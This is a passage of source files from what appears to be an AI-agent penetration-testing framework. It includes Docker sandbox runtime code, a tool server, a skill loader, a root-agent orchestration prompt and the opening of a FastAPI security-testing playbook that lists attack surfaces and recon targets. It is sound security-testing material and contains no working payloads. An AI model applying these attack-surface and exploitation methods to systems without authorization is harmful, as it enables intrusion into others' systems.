fix_incomplete_tool_call(content: str) -> str:\n    \"\"\"Fix incomplete tool calls by adding missing closing tag.\n\n    Handles both ``<function=…>`` and ``<invoke name=\"…\">`` formats.\n    \"\"\"\n    has_open = \"<function=\" in content or \"<invoke \" in content\n    count_open = content.count(\"<function=\") + content.count(\"<invoke \")\n    has_close = \"</function>\" in content or \"</invoke>\" in content\n    if has_open and count_open == 1 and not has_close:\n        content = content.rstrip()\n        content = content + \"function>\" if content.endswith(\"</\") else content + \"\\n</function>\"\n    return content\n\n\ndef format_tool_call(tool_name: str, args: dict[str, Any]) -> str:\n    xml_parts = [f\"<function={tool_name}>\"]\n\n    for key, value in args.items():\n        xml_parts.append(f\"<parameter={key}>{value}</parameter>\")\n\n    xml_parts.append(\"</function>\")\n\n    return \"\\n\".join(xml_parts)\n\n\ndef clean_content(content: str) -> str:\n    if not content:\n        return \"\"\n\n    content = normalize_tool_format(content)\n    content = fix_incomplete_tool_call(content)\n\n    tool_pattern = r\"<function=[^>]+>.*?</function>\"\n    cleaned = re.sub(tool_pattern, \"\", content, flags=re.DOTALL)\n\n    incomplete_tool_pattern = r\"<function=[^>]+>.*$\"\n    cleaned = re.sub(incomplete_tool_pattern, \"\", cleaned, flags=re.DOTALL)\n\n    partial_tag_pattern = r\"<f(?:u(?:n(?:c(?:t(?:i(?:o(?:n(?:=(?:[^>]*)?)?)?)?)?)?)?)?)?$\"\n    cleaned = re.sub(partial_tag_pattern, \"\", cleaned)\n\n    hidden_xml_patterns = [\n        r\"<inter_agent_message>.*?</inter_agent_message>\",\n        r\"<agent_completion_report>.*?</agent_completion_report>\",\n    ]\n    for pattern in hidden_xml_patterns:\n        cleaned = re.sub(pattern, \"\", cleaned, flags=re.DOTALL | re.IGNORECASE)\n\n    cleaned = re.sub(r\"\\n\\s*\\n\", \"\\n\\n\", cleaned)\n\n    return cleaned.strip()\n"
  },
  {
    "path": "strix/runtime/__init__.py",
    "content": "from strix.config import Config\n\nfrom .runtime import AbstractRuntime\n\n\nclass SandboxInitializationError(Exception):\n    \"\"\"Raised when sandbox initialization fails (e.g., Docker issues).\"\"\"\n\n    def __init__(self, message: str, details: str | None = None):\n        super().__init__(message)\n        self.message = message\n        self.details = details\n\n\n_global_runtime: AbstractRuntime | None = None\n\n\ndef get_runtime() -> AbstractRuntime:\n    global _global_runtime  # noqa: PLW0603\n\n    runtime_backend = Config.get(\"strix_runtime_backend\")\n\n    if runtime_backend == \"docker\":\n        from .docker_runtime import DockerRuntime\n\n        if _global_runtime is None:\n            _global_runtime = DockerRuntime()\n        return _global_runtime\n\n    raise ValueError(\n        f\"Unsupported runtime backend: {runtime_backend}. Only 'docker' is supported for now.\"\n    )\n\n\ndef cleanup_runtime() -> None:\n    global _global_runtime  # noqa: PLW0603\n\n    if _global_runtime is not None:\n        _global_runtime.cleanup()\n        _global_runtime = None\n\n\n__all__ = [\"AbstractRuntime\", \"SandboxInitializationError\", \"cleanup_runtime\", \"get_runtime\"]\n"
  },
  {
    "path": "strix/runtime/docker_runtime.py",
    "content": "import contextlib\nimport os\nimport secrets\nimport socket\nimport time\nfrom pathlib import Path\nfrom typing import cast\n\nimport docker\nimport httpx\nfrom docker.errors import DockerException, ImageNotFound, NotFound\nfrom docker.models.containers import Container\nfrom requests.exceptions import ConnectionError as RequestsConnectionError\nfrom requests.exceptions import Timeout as RequestsTimeout\n\nfrom strix.config import Config\n\nfrom . import SandboxInitializationError\nfrom .runtime import AbstractRuntime, SandboxInfo\n\n\nHOST_GATEWAY_HOSTNAME = \"host.docker.internal\"\nDOCKER_TIMEOUT = 60\nCONTAINER_TOOL_SERVER_PORT = 48081\nCONTAINER_CAIDO_PORT = 48080\n\n\nclass DockerRuntime(AbstractRuntime):\n    def __init__(self) -> None:\n        try:\n            self.client = docker.from_env(timeout=DOCKER_TIMEOUT)\n        except (DockerException, RequestsConnectionError, RequestsTimeout) as e:\n            raise SandboxInitializationError(\n                \"Docker is not available\",\n                \"Please ensure Docker Desktop is installed and running.\",\n            ) from e\n\n        self._scan_container: Container | None = None\n        self._tool_server_port: int | None = None\n        self._tool_server_token: str | None = None\n        self._caido_port: int | None = None\n\n    def _find_available_port(self) -> int:\n        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n            s.bind((\"\", 0))\n            return cast(\"int\", s.getsockname()[1])\n\n    def _get_scan_id(self, agent_id: str) -> str:\n        try:\n            from strix.telemetry.tracer import get_global_tracer\n\n            tracer = get_global_tracer()\n            if tracer and tracer.scan_config:\n                return str(tracer.scan_config.get(\"scan_id\", \"default-scan\"))\n        except (ImportError, AttributeError):\n            pass\n        return f\"scan-{agent_id.split('-')[0]}\"\n\n    def _verify_image_available(self, image_name: str, max_retries: int = 3) -> None:\n        for attempt in range(max_retries):\n            try:\n                image = self.client.images.get(image_name)\n                if not image.id or not image.attrs:\n                    raise ImageNotFound(f\"Image {image_name} metadata incomplete\")  # noqa: TRY301\n            except (ImageNotFound, DockerException):\n                if attempt == max_retries - 1:\n                    raise\n                time.sleep(2**attempt)\n            else:\n                return\n\n    def _recover_container_state(self, container: Container) -> None:\n        for env_var in container.attrs[\"Config\"][\"Env\"]:\n            if env_var.startswith(\"TOOL_SERVER_TOKEN=\"):\n                self._tool_server_token = env_var.split(\"=\", 1)[1]\n                break\n\n        port_bindings = container.attrs.get(\"NetworkSettings\", {}).get(\"Ports\", {})\n        port_key = f\"{CONTAINER_TOOL_SERVER_PORT}/tcp\"\n        if port_bindings.get(port_key):\n            self._tool_server_port = int(port_bindings[port_key][0][\"HostPort\"])\n\n        caido_port_key = f\"{CONTAINER_CAIDO_PORT}/tcp\"\n        if port_bindings.get(caido_port_key):\n            self._caido_port = int(port_bindings[caido_port_key][0][\"HostPort\"])\n\n    def _wait_for_tool_server(self, max_retries: int = 30, timeout: int = 5) -> None:\n        host = self._resolve_docker_host()\n        health_url = f\"http://{host}:{self._tool_server_port}/health\"\n\n        time.sleep(5)\n\n        for attempt in range(max_retries):\n            try:\n                with httpx.Client(trust_env=False, timeout=timeout) as client:\n                    response = client.get(health_url)\n                    if response.status_code == 200:\n                        data = response.json()\n                        if data.get(\"status\") == \"healthy\":\n                            return\n            except (httpx.ConnectError, httpx.TimeoutException, httpx.RequestError):\n                pass\n\n            time.sleep(min(2**attempt * 0.5, 5))\n\n        raise SandboxInitializationError(\n            \"Tool server failed to start\",\n            \"Container initialization timed out. Please try again.\",\n        )\n\n    def _create_container(self, scan_id: str, max_retries: int = 2) -> Container:\n        container_name = f\"strix-scan-{scan_id}\"\n        image_name = Config.get(\"strix_image\")\n        if not image_name:\n            raise ValueError(\"STRIX_IMAGE must be configured\")\n\n        self._verify_image_available(image_name)\n\n        last_error: Exception | None = None\n        for attempt in range(max_retries + 1):\n            try:\n                with contextlib.suppress(NotFound):\n                    existing = self.client.containers.get(container_name)\n                    with contextlib.suppress(Exception):\n                        existing.stop(timeout=5)\n                    existing.remove(force=True)\n                    time.sleep(1)\n\n                self._tool_server_port = self._find_available_port()\n                self._caido_port = self._find_available_port()\n                self._tool_server_token = secrets.token_urlsafe(32)\n                execution_timeout = Config.get(\"strix_sandbox_execution_timeout\") or \"120\"\n\n                container = self.client.containers.run(\n                    image_name,\n                    command=\"sleep infinity\",\n                    detach=True,\n                    name=container_name,\n                    hostname=container_name,\n                    ports={\n                        f\"{CONTAINER_TOOL_SERVER_PORT}/tcp\": self._tool_server_port,\n                        f\"{CONTAINER_CAIDO_PORT}/tcp\": self._caido_port,\n                    },\n                    cap_add=[\"NET_ADMIN\", \"NET_RAW\"],\n                    labels={\"strix-scan-id\": scan_id},\n                    environment={\n                        \"PYTHONUNBUFFERED\": \"1\",\n                        \"TOOL_SERVER_PORT\": str(CONTAINER_TOOL_SERVER_PORT),\n                        \"TOOL_SERVER_TOKEN\": self._tool_server_token,\n                        \"STRIX_SANDBOX_EXECUTION_TIMEOUT\": str(execution_timeout),\n                        \"HOST_GATEWAY\": HOST_GATEWAY_HOSTNAME,\n                    },\n                    extra_hosts={HOST_GATEWAY_HOSTNAME: \"host-gateway\"},\n                    tty=True,\n                )\n\n                self._scan_container = container\n                self._wait_for_tool_server()\n\n            except (DockerException, RequestsConnectionError, RequestsTimeout) as e:\n                last_error = e\n                if attempt < max_retries:\n                    self._tool_server_port = None\n                    self._tool_server_token = None\n                    self._caido_port = None\n                    time.sleep(2**attempt)\n            else:\n                return container\n\n        raise SandboxInitializationError(\n            \"Failed to create container\",\n            f\"Container creation failed after {max_retries + 1} attempts: {last_error}\",\n        ) from last_error\n\n    def _get_or_create_container(self, scan_id: str) -> Container:\n        container_name = f\"strix-scan-{scan_id}\"\n\n        if self._scan_container:\n            try:\n                self._scan_container.reload()\n                if self._scan_container.status == \"running\":\n                    return self._scan_container\n            except NotFound:\n                self._scan_container = None\n                self._tool_server_port = None\n                self._tool_server_token = None\n                self._caido_port = None\n\n        try:\n            container = self.client.containers.get(container_name)\n            container.reload()\n\n            if container.status != \"running\":\n                container.start()\n                time.sleep(2)\n\n            self._scan_container = container\n            self._recover_container_state(container)\n        except NotFound:\n            pass\n        else:\n            return container\n\n        try:\n            containers = self.client.containers.list(\n                all=True, filters={\"label\": f\"strix-scan-id={scan_id}\"}\n            )\n            if containers:\n                container = containers[0]\n                if container.status != \"running\":\n                    container.start()\n                    time.sleep(2)\n\n                self._scan_container = container\n                self._recover_container_state(container)\n                return container\n        except DockerException:\n            pass\n\n        return self._create_container(scan_id)\n\n    def _copy_local_directory_to_container(\n        self, container: Container, local_path: str, target_name: str | None = None\n    ) -> None:\n        import tarfile\n        from io import BytesIO\n\n        try:\n            local_path_obj = Path(local_path).resolve()\n            if not local_path_obj.exists() or not local_path_obj.is_dir():\n                return\n\n            tar_buffer = BytesIO()\n            with tarfile.open(fileobj=tar_buffer, mode=\"w\") as tar:\n                for item in local_path_obj.rglob(\"*\"):\n                    if item.is_file():\n                        rel_path = item.relative_to(local_path_obj)\n                        arcname = Path(target_name) / rel_path if target_name else rel_path\n                        tar.add(item, arcname=arcname)\n\n            tar_buffer.seek(0)\n            container.put_archive(\"/workspace\", tar_buffer.getvalue())\n            container.exec_run(\n                \"chown -R pentester:pentester /workspace && chmod -R 755 /workspace\",\n                user=\"root\",\n            )\n        except (OSError, DockerException):\n            pass\n\n    async def create_sandbox(\n        self,\n        agent_id: str,\n        existing_token: str | None = None,\n        local_sources: list[dict[str, str]] | None = None,\n    ) -> SandboxInfo:\n        scan_id = self._get_scan_id(agent_id)\n        container = self._get_or_create_container(scan_id)\n\n        source_copied_key = f\"_source_copied_{scan_id}\"\n        if local_sources and not hasattr(self, source_copied_key):\n            for index, source in enumerate(local_sources, start=1):\n                source_path = source.get(\"source_path\")\n                if not source_path:\n                    continue\n                target_name = (\n                    source.get(\"workspace_subdir\") or Path(source_path).name or f\"target_{index}\"\n                )\n                self._copy_local_directory_to_container(container, source_path, target_name)\n            setattr(self, source_copied_key, True)\n\n        if container.id is None:\n            raise RuntimeError(\"Docker container ID is unexpectedly None\")\n\n        token = existing_token or self._tool_server_token\n        if self._tool_server_port is None or self._caido_port is None or token is None:\n            raise RuntimeError(\"Tool server not initialized\")\n\n        host = self._resolve_docker_host()\n        api_url = f\"http://{host}:{self._tool_server_port}\"\n\n        await self._register_agent(api_url, agent_id, token)\n\n        return {\n            \"workspace_id\": container.id,\n            \"api_url\": api_url,\n            \"auth_token\": token,\n            \"tool_server_port\": self._tool_server_port,\n            \"caido_port\": self._caido_port,\n            \"agent_id\": agent_id,\n        }\n\n    async def _register_agent(self, api_url: str, agent_id: str, token: str) -> None:\n        try:\n            async with httpx.AsyncClient(trust_env=False) as client:\n                response = await client.post(\n                    f\"{api_url}/register_agent\",\n                    params={\"agent_id\": agent_id},\n                    headers={\"Authorization\": f\"Bearer {token}\"},\n                    timeout=30,\n                )\n                response.raise_for_status()\n        except httpx.RequestError:\n            pass\n\n    async def get_sandbox_url(self, container_id: str, port: int) -> str:\n        try:\n            self.client.containers.get(container_id)\n            return f\"http://{self._resolve_docker_host()}:{port}\"\n        except NotFound:\n            raise ValueError(f\"Container {container_id} not found.\") from None\n\n    def _resolve_docker_host(self) -> str:\n        docker_host = os.getenv(\"DOCKER_HOST\", \"\")\n        if docker_host:\n            from urllib.parse import urlparse\n\n            parsed = urlparse(docker_host)\n            if parsed.scheme in (\"tcp\", \"http\", \"https\") and parsed.hostname:\n                return parsed.hostname\n        return \"127.0.0.1\"\n\n    async def destroy_sandbox(self, container_id: str) -> None:\n        try:\n            container = self.client.containers.get(container_id)\n            container.stop()\n            container.remove()\n            self._scan_container = None\n            self._tool_server_port = None\n            self._tool_server_token = None\n            self._caido_port = None\n        except (NotFound, DockerException):\n            pass\n\n    def cleanup(self) -> None:\n        if self._scan_container is not None:\n            container_name = self._scan_container.name\n            self._scan_container = None\n            self._tool_server_port = None\n            self._tool_server_token = None\n            self._caido_port = None\n\n            if container_name is None:\n                return\n\n            import subprocess\n\n            subprocess.Popen(  # noqa: S603\n                [\"docker\", \"rm\", \"-f\", container_name],  # noqa: S607\n                stdout=subprocess.DEVNULL,\n                stderr=subprocess.DEVNULL,\n                start_new_session=True,\n            )\n"
  },
  {
    "path": "strix/runtime/runtime.py",
    "content": "from abc import ABC, abstractmethod\nfrom typing import TypedDict\n\n\nclass SandboxInfo(TypedDict):\n    workspace_id: str\n    api_url: str\n    auth_token: str | None\n    tool_server_port: int\n    caido_port: int\n    agent_id: str\n\n\nclass AbstractRuntime(ABC):\n    @abstractmethod\n    async def create_sandbox(\n        self,\n        agent_id: str,\n        existing_token: str | None = None,\n        local_sources: list[dict[str, str]] | None = None,\n    ) -> SandboxInfo:\n        raise NotImplementedError\n\n    @abstractmethod\n    async def get_sandbox_url(self, container_id: str, port: int) -> str:\n        raise NotImplementedError\n\n    @abstractmethod\n    async def destroy_sandbox(self, container_id: str) -> None:\n        raise NotImplementedError\n\n    def cleanup(self) -> None:\n        raise NotImplementedError\n"
  },
  {
    "path": "strix/runtime/tool_server.py",
    "content": "from __future__ import annotations\n\nimport argparse\nimport asyncio\nimport os\nimport signal\nimport sys\nfrom typing import Any\n\nimport uvicorn\nfrom fastapi import Depends, FastAPI, HTTPException, status\nfrom fastapi.security import HTTPAuthorizationCredentials, HTTPBearer\nfrom pydantic import BaseModel, ValidationError\n\n\nSANDBOX_MODE = os.getenv(\"STRIX_SANDBOX_MODE\", \"false\").lower() == \"true\"\nif not SANDBOX_MODE:\n    raise RuntimeError(\"Tool server should only run in sandbox mode (STRIX_SANDBOX_MODE=true)\")\n\nparser = argparse.ArgumentParser(description=\"Start Strix tool server\")\nparser.add_argument(\"--token\", required=True, help=\"Authentication token\")\nparser.add_argument(\"--host\", default=\"0.0.0.0\", help=\"Host to bind to\")  # nosec\nparser.add_argument(\"--port\", type=int, required=True, help=\"Port to bind to\")\nparser.add_argument(\n    \"--timeout\",\n    type=int,\n    default=120,\n    help=\"Hard timeout in seconds for each request execution (default: 120)\",\n)\n\nargs = parser.parse_args()\nEXPECTED_TOKEN = args.token\nREQUEST_TIMEOUT = args.timeout\n\napp = FastAPI()\nsecurity = HTTPBearer()\nsecurity_dependency = Depends(security)\n\nagent_tasks: dict[str, asyncio.Task[Any]] = {}\n\n\ndef verify_token(credentials: HTTPAuthorizationCredentials) -> str:\n    if not credentials or credentials.scheme != \"Bearer\":\n        raise HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=\"Invalid authentication scheme. Bearer token required.\",\n            headers={\"WWW-Authenticate\": \"Bearer\"},\n        )\n\n    if credentials.credentials != EXPECTED_TOKEN:\n        raise HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=\"Invalid authentication token\",\n            headers={\"WWW-Authenticate\": \"Bearer\"},\n        )\n\n    return credentials.credentials\n\n\nclass ToolExecutionRequest(BaseModel):\n    agent_id: str\n    tool_name: str\n    kwargs: dict[str, Any]\n\n\nclass ToolExecutionResponse(BaseModel):\n    result: Any | None = None\n    error: str | None = None\n\n\nasync def _run_tool(agent_id: str, tool_name: str, kwargs: dict[str, Any]) -> Any:\n    from strix.tools.argument_parser import convert_arguments\n    from strix.tools.context import set_current_agent_id\n    from strix.tools.registry import get_tool_by_name\n\n    set_current_agent_id(agent_id)\n\n    tool_func = get_tool_by_name(tool_name)\n    if not tool_func:\n        raise ValueError(f\"Tool '{tool_name}' not found\")\n\n    converted_kwargs = convert_arguments(tool_func, kwargs)\n    return await asyncio.to_thread(tool_func, **converted_kwargs)\n\n\n@app.post(\"/execute\", response_model=ToolExecutionResponse)\nasync def execute_tool(\n    request: ToolExecutionRequest, credentials: HTTPAuthorizationCredentials = security_dependency\n) -> ToolExecutionResponse:\n    verify_token(credentials)\n\n    agent_id = request.agent_id\n\n    if agent_id in agent_tasks:\n        old_task = agent_tasks[agent_id]\n        if not old_task.done():\n            old_task.cancel()\n\n    task = asyncio.create_task(\n        asyncio.wait_for(\n            _run_tool(agent_id, request.tool_name, request.kwargs), timeout=REQUEST_TIMEOUT\n        )\n    )\n    agent_tasks[agent_id] = task\n\n    try:\n        result = await task\n        return ToolExecutionResponse(result=result)\n\n    except asyncio.CancelledError:\n        return ToolExecutionResponse(error=\"Cancelled by newer request\")\n\n    except TimeoutError:\n        return ToolExecutionResponse(error=f\"Tool timed out after {REQUEST_TIMEOUT}s\")\n\n    except ValidationError as e:\n        return ToolExecutionResponse(error=f\"Invalid arguments: {e}\")\n\n    except (ValueError, RuntimeError, ImportError) as e:\n        return ToolExecutionResponse(error=f\"Tool execution error: {e}\")\n\n    except Exception as e:  # noqa: BLE001\n        return ToolExecutionResponse(error=f\"Unexpected error: {e}\")\n\n    finally:\n        if agent_tasks.get(agent_id) is task:\n            del agent_tasks[agent_id]\n\n\n@app.post(\"/register_agent\")\nasync def register_agent(\n    agent_id: str, credentials: HTTPAuthorizationCredentials = security_dependency\n) -> dict[str, str]:\n    verify_token(credentials)\n    return {\"status\": \"registered\", \"agent_id\": agent_id}\n\n\n@app.get(\"/health\")\nasync def health_check() -> dict[str, Any]:\n    return {\n        \"status\": \"healthy\",\n        \"sandbox_mode\": str(SANDBOX_MODE),\n        \"environment\": \"sandbox\" if SANDBOX_MODE else \"main\",\n        \"auth_configured\": \"true\" if EXPECTED_TOKEN else \"false\",\n        \"active_agents\": len(agent_tasks),\n        \"agents\": list(agent_tasks.keys()),\n    }\n\n\ndef signal_handler(_signum: int, _frame: Any) -> None:\n    if hasattr(signal, \"SIGPIPE\"):\n        signal.signal(signal.SIGPIPE, signal.SIG_IGN)\n    for task in agent_tasks.values():\n        task.cancel()\n    sys.exit(0)\n\n\nif hasattr(signal, \"SIGPIPE\"):\n    signal.signal(signal.SIGPIPE, signal.SIG_IGN)\n\nsignal.signal(signal.SIGTERM, signal_handler)\nsignal.signal(signal.SIGINT, signal_handler)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=args.host, port=args.port, log_level=\"info\")\n"
  },
  {
    "path": "strix/skills/README.md",
    "content": "# 📚 Strix Skills\n\n## 🎯 Overview\n\nSkills are specialized knowledge packages that enhance Strix agents with deep expertise in specific vulnerability types, technologies, and testing methodologies. Each skill provides advanced techniques, practical examples, and validation methods that go beyond baseline security knowledge.\n\n---\n\n## 🏗️ Architecture\n\n### How Skills Work\n\nWhen an agent is created, it can load up to 5 specialized skills relevant to the specific subtask and context at hand:\n\n```python\n# Agent creation with specialized skills\ncreate_agent(\n    task=\"Test authentication mechanisms in API\",\n    name=\"Auth Specialist\",\n    skills=\"authentication_jwt,business_logic\"\n)\n```\n\nThe skills are dynamically injected into the agent's system prompt, allowing it to operate with deep expertise tailored to the specific vulnerability types or technologies required for the task at hand.\n\n---\n\n## 📁 Skill Categories\n\n| Category | Purpose |\n|----------|---------|\n| **`/vulnerabilities`** | Advanced testing techniques for core vulnerability classes like authentication bypasses, business logic flaws, and race conditions |\n| **`/frameworks`** | Specific testing methods for popular frameworks e.g. Django, Express, FastAPI, and Next.js |\n| **`/technologies`** | Specialized techniques for third-party services such as Supabase, Firebase, Auth0, and payment gateways |\n| **`/protocols`** | Protocol-specific testing patterns for GraphQL, WebSocket, OAuth, and other communication standards |\n| **`/tooling`** | Command-line playbooks for core sandbox tools (nmap, nuclei, httpx, ffuf, subfinder, naabu, katana, sqlmap) |\n| **`/cloud`** | Cloud provider security testing for AWS, Azure, GCP, and Kubernetes environments |\n| **`/reconnaissance`** | Advanced information gathering and enumeration techniques for comprehensive attack surface mapping |\n| **`/custom`** | Community-contributed skills for specialized or industry-specific testing scenarios |\n\n---\n\n## 🎨 Creating New Skills\n\n### What Should a Skill Contain?\n\nA good skill is a structured knowledge package that typically includes:\n\n- **Advanced techniques** - Non-obvious methods specific to the task and domain\n- **Practical examples** - Working payloads, commands, or test cases with variations\n- **Validation methods** - How to confirm findings and avoid false positives\n- **Context-specific insights** - Environment and version nuances, configuration-dependent behavior, and edge cases\n- **YAML frontmatter** - `name` and `description` fields for skill metadata\n\nSkills focus on deep, specialized knowledge to significantly enhance agent capabilities. They are dynamically injected into agent context when needed.\n\n---\n\n## 🤝 Contributing\n\nCommunity contributions are more than welcome — contribute new skills via [pull requests](https://github.com/usestrix/strix/pulls) or [GitHub issues](https://github.com/usestrix/strix/issues) to help expand the collection and improve extensibility for Strix agents.\n\n---\n\n> [!NOTE]\n> **Work in Progress** - We're actively expanding the skills collection with specialized techniques and new categories.\n"
  },
  {
    "path": "strix/skills/__init__.py",
    "content": "import re\n\nfrom strix.utils.resource_paths import get_strix_resource_path\n\n\n_EXCLUDED_CATEGORIES = {\"scan_modes\", \"coordination\"}\n_FRONTMATTER_PATTERN = re.compile(r\"^---\\s*\\n.*?\\n---\\s*\\n\", re.DOTALL)\n\n\ndef get_available_skills() -> dict[str, list[str]]:\n    skills_dir = get_strix_resource_path(\"skills\")\n    available_skills: dict[str, list[str]] = {}\n\n    if not skills_dir.exists():\n        return available_skills\n\n    for category_dir in skills_dir.iterdir():\n        if category_dir.is_dir() and not category_dir.name.startswith(\"__\"):\n            category_name = category_dir.name\n\n            if category_name in _EXCLUDED_CATEGORIES:\n                continue\n\n            skills = []\n\n            for file_path in category_dir.glob(\"*.md\"):\n                skill_name = file_path.stem\n                skills.append(skill_name)\n\n            if skills:\n                available_skills[category_name] = sorted(skills)\n\n    return available_skills\n\n\ndef get_all_skill_names() -> set[str]:\n    all_skills = set()\n    for category_skills in get_available_skills().values():\n        all_skills.update(category_skills)\n    return all_skills\n\n\ndef validate_skill_names(skill_names: list[str]) -> dict[str, list[str]]:\n    available_skills = get_all_skill_names()\n    valid_skills = []\n    invalid_skills = []\n\n    for skill_name in skill_names:\n        if skill_name in available_skills:\n            valid_skills.append(skill_name)\n        else:\n            invalid_skills.append(skill_name)\n\n    return {\"valid\": valid_skills, \"invalid\": invalid_skills}\n\n\ndef parse_skill_list(skills: str | None) -> list[str]:\n    if not skills:\n        return []\n    return [s.strip() for s in skills.split(\",\") if s.strip()]\n\n\ndef validate_requested_skills(skill_list: list[str], max_skills: int = 5) -> str | None:\n    if len(skill_list) > max_skills:\n        return \"Cannot specify more than 5 skills for an agent (use comma-separated format)\"\n\n    if not skill_list:\n        return None\n\n    validation = validate_skill_names(skill_list)\n    if validation[\"invalid\"]:\n        available_skills = list(get_all_skill_names())\n        return (\n            f\"Invalid skills: {validation['invalid']}. \"\n            f\"Available skills: {', '.join(available_skills)}\"\n        )\n\n    return None\n\n\ndef generate_skills_description() -> str:\n    available_skills = get_available_skills()\n\n    if not available_skills:\n        return \"No skills available\"\n\n    all_skill_names = get_all_skill_names()\n\n    if not all_skill_names:\n        return \"No skills available\"\n\n    sorted_skills = sorted(all_skill_names)\n    skills_str = \", \".join(sorted_skills)\n\n    description = f\"List of skills to load for this agent (max 5). Available skills: {skills_str}. \"\n\n    example_skills = sorted_skills[:2]\n    if example_skills:\n        example = f\"Example: {', '.join(example_skills)} for specialized agent\"\n        description += example\n\n    return description\n\n\ndef _get_all_categories() -> dict[str, list[str]]:\n    \"\"\"Get all skill categories including internal ones (scan_modes, coordination).\"\"\"\n    skills_dir = get_strix_resource_path(\"skills\")\n    all_categories: dict[str, list[str]] = {}\n\n    if not skills_dir.exists():\n        return all_categories\n\n    for category_dir in skills_dir.iterdir():\n        if category_dir.is_dir() and not category_dir.name.startswith(\"__\"):\n            category_name = category_dir.name\n            skills = []\n\n            for file_path in category_dir.glob(\"*.md\"):\n                skill_name = file_path.stem\n                skills.append(skill_name)\n\n            if skills:\n                all_categories[category_name] = sorted(skills)\n\n    return all_categories\n\n\ndef load_skills(skill_names: list[str]) -> dict[str, str]:\n    import logging\n\n    logger = logging.getLogger(__name__)\n    skill_content = {}\n    skills_dir = get_strix_resource_path(\"skills\")\n\n    all_categories = _get_all_categories()\n\n    for skill_name in skill_names:\n        try:\n            skill_path = None\n\n            if \"/\" in skill_name:\n                skill_path = f\"{skill_name}.md\"\n            else:\n                for category, skills in all_categories.items():\n                    if skill_name in skills:\n                        skill_path = f\"{category}/{skill_name}.md\"\n                        break\n\n                if not skill_path:\n                    root_candidate = f\"{skill_name}.md\"\n                    if (skills_dir / root_candidate).exists():\n                        skill_path = root_candidate\n\n            if skill_path and (skills_dir / skill_path).exists():\n                full_path = skills_dir / skill_path\n                var_name = skill_name.split(\"/\")[-1]\n                content = full_path.read_text(encoding=\"utf-8\")\n                content = _FRONTMATTER_PATTERN.sub(\"\", content).lstrip()\n                skill_content[var_name] = content\n                logger.info(f\"Loaded skill: {skill_name} -> {var_name}\")\n            else:\n                logger.warning(f\"Skill not found: {skill_name}\")\n\n        except (FileNotFoundError, OSError, ValueError) as e:\n            logger.warning(f\"Failed to load skill {skill_name}: {e}\")\n\n    return skill_content\n"
  },
  {
    "path": "strix/skills/cloud/.gitkeep",
    "content": ""
  },
  {
    "path": "strix/skills/coordination/root_agent.md",
    "content": "---\nname: root-agent\ndescription: Orchestration layer that coordinates specialized subagents for security assessments\n---\n\n# Root Agent\n\nOrchestration layer for security assessments. This agent coordinates specialized subagents but does not perform testing directly.\n\nYou can create agents throughout the testing process—not just at the beginning. Spawn agents dynamically based on findings and evolving scope.\n\n## Role\n\n- Decompose targets into discrete, parallelizable tasks\n- Spawn and monitor specialized subagents\n- Aggregate findings into a cohesive final report\n- Manage dependencies and handoffs between agents\n\n## Scope Decomposition\n\nBefore spawning agents, analyze the target:\n\n1. **Identify attack surfaces** - web apps, APIs, infrastructure, etc.\n2. **Define boundaries** - in-scope domains, IP ranges, excluded assets\n3. **Determine approach** - blackbox, greybox, or whitebox assessment\n4. **Prioritize by risk** - critical assets and high-value targets first\n\n## Agent Architecture\n\nStructure agents by function:\n\n**Reconnaissance**\n- Asset discovery and enumeration\n- Technology fingerprinting\n- Attack surface mapping\n\n**Vulnerability Assessment**\n- Injection testing (SQLi, XSS, command injection)\n- Authentication and session analysis\n- Access control testing (IDOR, privilege escalation)\n- Business logic flaws\n- Infrastructure vulnerabilities\n\n**Exploitation and Validation**\n- Proof-of-concept development\n- Impact demonstration\n- Vulnerability chaining\n\n**Reporting**\n- Finding documentation\n- Remediation recommendations\n\n## Coordination Principles\n\n**Task Independence**\n\nCreate agents with minimal dependencies. Parallel execution is faster than sequential.\n\n**Clear Objectives**\n\nEach agent should have a specific, measurable goal. Vague objectives lead to scope creep and redundant work.\n\n**Avoid Duplication**\n\nBefore creating agents:\n1. Analyze the target scope and break into independent tasks\n2. Check existing agents to avoid overlap\n3. Create agents with clear, specific objectives\n\n**Hierarchical Delegation**\n\nComplex findings warrant specialized subagents:\n- Discovery agent finds potential vulnerability\n- Validation agent confirms exploitability\n- Reporting agent documents with reproduction steps\n- Fix agent provides remediation (if needed)\n\n**Resource Efficiency**\n\n- Avoid duplicate coverage across agents\n- Terminate agents when objectives are met or no longer relevant\n- Use message passing only when essential (requests/answers, critical handoffs)\n- Prefer batched updates over routine status messages\n\n## Completion\n\nWhen all agents report completion:\n\n1. Collect and deduplicate findings across agents\n2. Assess overall security posture\n3. Compile executive summary with prioritized recommendations\n4. Invoke finish tool with final report\n"
  },
  {
    "path": "strix/skills/custom/.gitkeep",
    "content": ""
  },
  {
    "path": "strix/skills/frameworks/fastapi.md",
    "content": "---\nname: fastapi\ndescription: Security testing playbook for FastAPI applications covering ASGI, dependency injection, and API vulnerabilities\n---\n\n# FastAPI\n\nSecurity testing for FastAPI/Starlette applications. Focus on dependency injection flaws, middleware gaps, and authorization drift across routers and channels.\n\n## Attack Surface\n\n**Core Components**\n- ASGI middlewares: CORS, TrustedHost, ProxyHeaders, Session, exception handlers, lifespan events\n- Routers and sub-apps: APIRouter prefixes/tags, mounted apps (StaticFiles, admin), `include_router`, versioned paths\n- Dependency injection: `Depends`, `Security`, `OAuth2PasswordBearer`, `HTTPBearer`, scopes\n\n**Data Handling**\n- Pydantic models: v1/v2, unions/Annotated, custom validators, extra fields policy, coercion\n- File operations: UploadFile, File, FileResponse, StaticFiles mounts\n- Templates: Jinja2Templates rendering\n\n**Channels**\n- HTTP (sync/async), WebSocket, SSE/StreamingResponse\n- BackgroundTasks and task queues\n\n**Deployment**\n- Uvicorn/Gunicorn, reverse proxies/CDN, TLS termination, header trust\n\n## High-Value Targets\n\n- `/openapi.json`, `/docs`, `/redoc` in production (full attack surface map, securitySchemes, server URLs)\n- Auth flows: token endpoints, session/cookie bridges, OAuth device/PKCE\n- Admin/staff routers, feature-flagged routes, `include_in_schema=False` endpoints\n- File upload/download, import/export/report endpoints, signed URL generators\n- WebSocket endpoints (notifications, admin channels, commands)\n- Background job endpoints (`/jobs/{id}`, `/tasks/{id}/result`)\n- Mounted subapps (admin UI, storage browsers, metrics/health)\n\n## Reconnaissance\n\n**OpenAPI Mining**\n```\nGET /openapi.json\nGET /docs\nGET 